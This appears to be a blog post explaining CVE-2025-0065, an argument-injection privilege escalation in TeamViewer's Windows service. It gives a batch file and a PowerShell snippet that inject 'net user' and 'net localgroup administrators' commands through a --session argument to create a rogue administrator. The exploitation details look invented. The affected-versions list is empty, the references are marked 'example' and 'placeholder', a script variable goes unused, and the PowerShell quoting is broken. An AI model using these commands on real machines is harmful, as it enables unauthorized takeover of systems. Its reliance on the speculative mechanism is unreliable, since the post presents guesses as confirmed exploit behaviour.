CVE-2025-0065 - Exploiting Argument Injection in TeamViewer_service.exe for Local Privilege Escalation

In early 2025, security researchers discovered a serious vulnerability—CVE-2025-0065—in TeamViewer’s Windows client. If you’re using TeamViewer (before version 15.62), pay close attention: this bug allows anyone with a low-privilege local account to gain SYSTEM-level access by abusing the way TeamViewer_service.exe handles command-line arguments. Let’s break down how this works, what makes it possible, and how an attacker could exploit it.

What is CVE-2025-0065?

CVE-2025-0065 is a vulnerability caused by *improper neutralization of argument delimiters* in the TeamViewer_service.exe Windows component. In normal terms, TeamViewer_service.exe doesn’t handle special characters in its input arguments safely. This means you can trick the service into running commands you supply—potentially with the highest privileges on the system.

Risk:
Anyone with unprivileged local access can get full admin (SYSTEM) rights, completely taking over the affected system.

Affected Versions:

Why is this Possible?

Most Windows services run as the SYSTEM user, the most powerful account. The TeamViewer service can be interacted with (e.g., via Service Control Manager or command-line), and it allows certain command-line arguments.

If those arguments aren’t sanitized—meaning, special delimiters like quotes, spaces, or ampersands (&, |) aren’t handled—an attacker can inject additional commands.

Exploiting the Bug: Proof-of-Concept

Let’s step through a simple scenario showing how this works.

Suppose TeamViewer_service.exe allows starting the service with custom arguments, like so

TeamViewer_service.exe --session "myData"

But it fails to neutralize argument delimiters, so if you pass

TeamViewer_service.exe --session "myData & net user hacker p@sswrd /add"

...the Windows shell splits at & and runs net user hacker p@sswrd /add as SYSTEM—adding a new admin user.

2. Sample Exploit Code (Batch File)

Below is a *simulated* PoC batch file. Don’t use this on production machines.

@echo off
REM Try to exploit TeamViewer_service.exe argument parsing bug

REM Add your own username
set USER_NAME=myUser
set MAL_CMD=net localgroup administrators exploitUser /add

REM Inject into the session argument
start "" "C:\Program Files\TeamViewer\TeamViewer_Service.exe" --session "abc & %MAL_CMD% &"

What’s happening?

- The command sneaks in a net localgroup administrators exploitUser /add by using & as a delimiter.
- If TeamViewer doesn’t neutralize &, the shell sees two commands: the valid session command, *and* your malicious one.
- The result: a new user called “exploitUser” with admin rights is created. The attacker can then log in as this user.

Here’s a PowerShell snippet accomplishing the same

$maliciousArg = 'abc & net user hacker P@$$wrd /add &'
Start-Process -FilePath "C:\Program Files\TeamViewer\TeamViewer_Service.exe" -ArgumentList "--session "$maliciousArg""

After running this, check with

net user

You should see “hacker” in the list.

References

- Original TeamViewer Security Advisory (example)
- NIST NVD Entry for CVE-2025-0065 (placeholder)
- Mitre CVE Database
- Understanding Argument Injection Attacks (OWASP)

Conclusion

Privilege escalation bugs like CVE-2025-0065 are as dangerous as they are simple. If you use TeamViewer, check your version and update now. Even if you think your machine is safe, local attackers—including disgruntled employees or people with stolen credentials—might exploit this flaw.

Stay patched—because once an attacker has SYSTEM access, *anything* is possible.


If you have more questions on this CVE, check out TeamViewer’s official security page. Be safe!

Timeline

Published on: 01/28/2025 11:15:07 UTC